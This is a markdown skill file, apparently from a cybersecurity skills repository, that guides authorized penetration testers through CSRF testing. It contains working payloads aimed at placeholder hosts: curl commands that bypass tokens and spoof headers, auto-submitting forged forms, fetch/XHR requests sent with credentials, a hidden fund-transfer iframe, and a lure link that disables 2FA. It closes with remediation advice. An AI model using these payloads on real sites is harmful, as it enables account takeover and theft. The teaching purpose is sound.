mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
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345 lines
12 KiB
Markdown
345 lines
12 KiB
Markdown
---
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name: performing-csrf-attack-simulation
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description: Testing web applications for Cross-Site Request Forgery vulnerabilities by crafting forged requests that exploit authenticated user sessions during authorized security assessments.
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domain: cybersecurity
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subdomain: web-application-security
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tags: [penetration-testing, csrf, owasp, web-security, session-management, burpsuite]
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version: "1.0"
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author: mahipal
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license: MIT
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---
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# Performing CSRF Attack Simulation
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## When to Use
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- During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
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- When testing the effectiveness of anti-CSRF token implementations
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- For validating SameSite cookie attribute enforcement across different browsers
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- When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
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- During security audits of custom authentication and session management mechanisms
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## Prerequisites
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- **Authorization**: Written penetration testing agreement for the target
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- **Burp Suite Professional**: With CSRF PoC generator functionality
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- **Web server**: Local HTTP server for hosting CSRF PoC pages (Python `http.server`)
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- **Two browsers**: One authenticated as victim, one as attacker
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- **Target application**: Authenticated session with valid test credentials
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- **HTML/JavaScript knowledge**: For crafting custom CSRF payloads
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## Workflow
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### Step 1: Identify State-Changing Requests
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Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.
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```
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# In Burp Suite, review Proxy > HTTP History
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# Filter for POST/PUT/DELETE methods
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# Focus on actions like:
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# - Password/email change
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# - Fund/money transfers
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# - Account settings modifications
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# - Adding/removing users or permissions
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# - Creating/deleting resources
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# - Toggling security features (2FA disable)
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# Example state-changing request captured in Burp:
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POST /api/account/change-email HTTP/1.1
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Host: target.example.com
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Cookie: session=abc123def456
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Content-Type: application/x-www-form-urlencoded
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email=newemail@example.com
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# Check for anti-CSRF protections:
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# - CSRF tokens in form fields or headers
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# - Custom headers (X-CSRF-Token, X-Requested-With)
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# - SameSite cookie attribute
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# - Referer/Origin header validation
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```
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### Step 2: Analyze Anti-CSRF Token Implementation
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Test the strength and enforcement of any CSRF protections present.
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```bash
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# Check if CSRF token is present
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curl -s -b "session=abc123" \
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"https://target.example.com/account/settings" | \
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grep -i "csrf\|token\|_token"
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# Test 1: Remove the CSRF token entirely
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curl -s -X POST \
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-b "session=abc123" \
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-d "email=test@evil.com" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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# Test 2: Send empty CSRF token
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curl -s -X POST \
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-b "session=abc123" \
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-d "email=test@evil.com&csrf_token=" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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# Test 3: Use a random/invalid CSRF token
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curl -s -X POST \
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-b "session=abc123" \
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-d "email=test@evil.com&csrf_token=AAAAAAAAAA" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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# Test 4: Reuse an expired/old CSRF token
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curl -s -X POST \
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-b "session=abc123" \
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-d "email=test@evil.com&csrf_token=previously_captured_token" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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# Test 5: Use User B's CSRF token with User A's session
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curl -s -X POST \
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-b "session=user_a_session" \
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-d "email=test@evil.com&csrf_token=user_b_csrf_token" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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```
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### Step 3: Check SameSite Cookie and Header Protections
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Verify browser-level and header-based CSRF defenses.
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```bash
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# Check SameSite attribute on session cookies
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curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
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# Look for: SameSite=Strict, SameSite=Lax, or SameSite=None
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# SameSite=Lax allows CSRF on top-level GET navigations
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# SameSite=None; Secure allows cross-site requests
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# No SameSite attribute: browser defaults to Lax (modern browsers)
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# Check for Origin/Referer header validation
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# Send request with no Referer
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curl -s -X POST \
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-b "session=abc123" \
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-H "Referer: " \
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-d "email=test@evil.com&csrf_token=valid_token" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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# Send request with evil Referer
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curl -s -X POST \
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-b "session=abc123" \
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-H "Referer: https://evil.example.com/attack" \
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-d "email=test@evil.com&csrf_token=valid_token" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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# Send request with spoofed Origin
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curl -s -X POST \
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-b "session=abc123" \
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-H "Origin: https://evil.example.com" \
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-d "email=test@evil.com" \
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"https://target.example.com/api/account/change-email" \
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-w "%{http_code}"
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```
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### Step 4: Generate CSRF Proof-of-Concept with Burp Suite
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Use Burp's built-in CSRF PoC generator for rapid testing.
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```
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# In Burp Suite:
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# 1. Right-click the target request in Proxy > HTTP History
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# 2. Select "Engagement tools" > "Generate CSRF PoC"
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# 3. Click "Test in browser" to validate the PoC
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# Burp generates HTML like:
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```
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```html
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<!-- Auto-submitting CSRF PoC for form-encoded POST -->
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<html>
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<body>
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<h1>Loading...</h1>
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<form action="https://target.example.com/api/account/change-email"
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method="POST" id="csrf-form">
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<input type="hidden" name="email" value="attacker@evil.com" />
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</form>
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<script>
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document.getElementById('csrf-form').submit();
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</script>
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</body>
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</html>
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```
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### Step 5: Craft Advanced CSRF Payloads
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For JSON APIs and other non-standard content types, use advanced techniques.
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```html
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<!-- CSRF for JSON API using form with enctype -->
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<html>
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<body>
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<form action="https://target.example.com/api/account/change-email"
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method="POST"
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enctype="text/plain"
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id="csrf-form">
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<input type="hidden"
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name='{"email":"attacker@evil.com","ignore":"'
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value='"}' />
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</form>
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<script>
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document.getElementById('csrf-form').submit();
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</script>
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</body>
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</html>
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<!-- CSRF via XMLHttpRequest (requires permissive CORS) -->
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "https://target.example.com/api/account/change-email", true);
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xhr.setRequestHeader("Content-Type", "application/json");
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xhr.withCredentials = true;
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xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
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</script>
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<!-- CSRF via fetch API -->
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<script>
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fetch("https://target.example.com/api/account/change-email", {
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method: "POST",
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credentials: "include",
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headers: {"Content-Type": "application/x-www-form-urlencoded"},
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body: "email=attacker@evil.com"
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});
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</script>
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<!-- CSRF via image tag (GET-based state change) -->
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<img src="https://target.example.com/api/account/delete?confirm=true"
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style="display:none" />
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<!-- Multi-step CSRF with iframe -->
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<iframe style="display:none" name="csrf-frame"></iframe>
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<form action="https://target.example.com/api/transfer"
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method="POST" target="csrf-frame" id="csrf-form">
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<input type="hidden" name="to_account" value="attacker-account" />
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<input type="hidden" name="amount" value="1000" />
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</form>
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<script>document.getElementById('csrf-form').submit();</script>
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```
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### Step 6: Test and Validate the CSRF Attack
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Host the PoC and confirm successful exploitation.
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```bash
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# Start a local web server to host the CSRF PoC
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cd /tmp/csrf-poc
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python3 -m http.server 8888
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# PoC file structure:
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# /tmp/csrf-poc/
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# index.html <- CSRF PoC page
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# change-email.html <- Email change CSRF
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# transfer.html <- Fund transfer CSRF
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# Testing steps:
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# 1. Log in to target as victim user in Browser A
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# 2. Open http://localhost:8888/change-email.html in Browser A
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# 3. Check if the email was changed without victim's consent
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# 4. Verify the state change in the application
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# For SameSite=Lax bypass via top-level navigation:
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# Use GET-based CSRF with window.open or anchor tag
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```
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```html
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<!-- SameSite=Lax bypass using top-level navigation -->
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<html>
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<body>
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<a href="https://target.example.com/api/settings?action=disable_2fa"
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id="csrf-link">Click here for a prize!</a>
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<script>
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// Automatic click via social engineering context
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// SameSite=Lax allows cookies on top-level GET navigations
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</script>
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</body>
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</html>
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```
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## Key Concepts
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| Concept | Description |
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|---------|-------------|
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| **CSRF** | Attack that tricks an authenticated user's browser into making unintended requests to a vulnerable site |
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| **Anti-CSRF Token** | A unique, unpredictable value tied to the user's session that must be included in state-changing requests |
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| **SameSite Cookie** | Browser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests |
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| **Origin Header** | HTTP header indicating the origin of the request, used for CSRF validation |
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| **Referer Header** | HTTP header containing the URL of the referring page, sometimes used for CSRF checks |
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| **Double Submit Cookie** | CSRF defense that compares a cookie value with a request parameter value |
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| **Synchronizer Token Pattern** | Server generates and validates a unique token per session or per request |
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## Tools & Systems
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| Tool | Purpose |
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|------|---------|
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| **Burp Suite Professional** | CSRF PoC generator and request analysis |
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| **OWASP ZAP** | Anti-CSRF token detection and CSRF testing |
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| **XSRFProbe** | Automated CSRF vulnerability scanner (`pip install xsrfprobe`) |
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| **Python http.server** | Local web server for hosting CSRF PoC pages |
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| **Browser DevTools** | Inspecting cookies, SameSite attributes, and network requests |
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| **CSRFTester (OWASP)** | Legacy tool for crafting and testing CSRF attacks |
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## Common Scenarios
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### Scenario 1: Email Change Without CSRF Token
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The email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.
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### Scenario 2: Fund Transfer with Token Bypass
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The banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the `csrf_token` field from the transfer form allows cross-site fund transfer.
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### Scenario 3: JSON API CSRF via Content-Type Manipulation
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A JSON API endpoint does not require a custom header. Using `enctype="text/plain"` in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.
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### Scenario 4: SameSite=Lax Bypass on GET State Change
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A settings page changes state via GET request (`/settings?disable_2fa=true`). Since `SameSite=Lax` allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.
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## Output Format
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```
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## CSRF Vulnerability Finding
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**Vulnerability**: Cross-Site Request Forgery (Email Change)
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**Severity**: High (CVSS 8.0)
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**Location**: POST /api/account/change-email
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**OWASP Category**: A01:2021 - Broken Access Control
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### Reproduction Steps
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1. Authenticate as victim at https://target.example.com
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2. Host the following HTML on an attacker-controlled server
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3. Trick victim into visiting the attacker page while authenticated
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4. The victim's email is changed to attacker@evil.com without consent
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### Anti-CSRF Defenses Tested
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| Defense | Present | Enforced |
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|---------|---------|----------|
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| CSRF Token | No | N/A |
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| SameSite Cookie | Lax | Partial (GET bypass) |
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| Origin Validation | No | N/A |
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| Referer Validation | No | N/A |
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| Custom Header Required | No | N/A |
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### Impact
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- Account takeover via email change + password reset chain
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- Unauthorized fund transfers
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- Settings modification (2FA disable, notification change)
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### Recommendation
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1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
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2. Set SameSite=Strict on session cookies where possible
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3. Validate Origin and Referer headers as defense-in-depth
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4. Require re-authentication for sensitive operations (password change, fund transfer)
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5. Use custom request headers (X-Requested-With) for AJAX endpoints
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```
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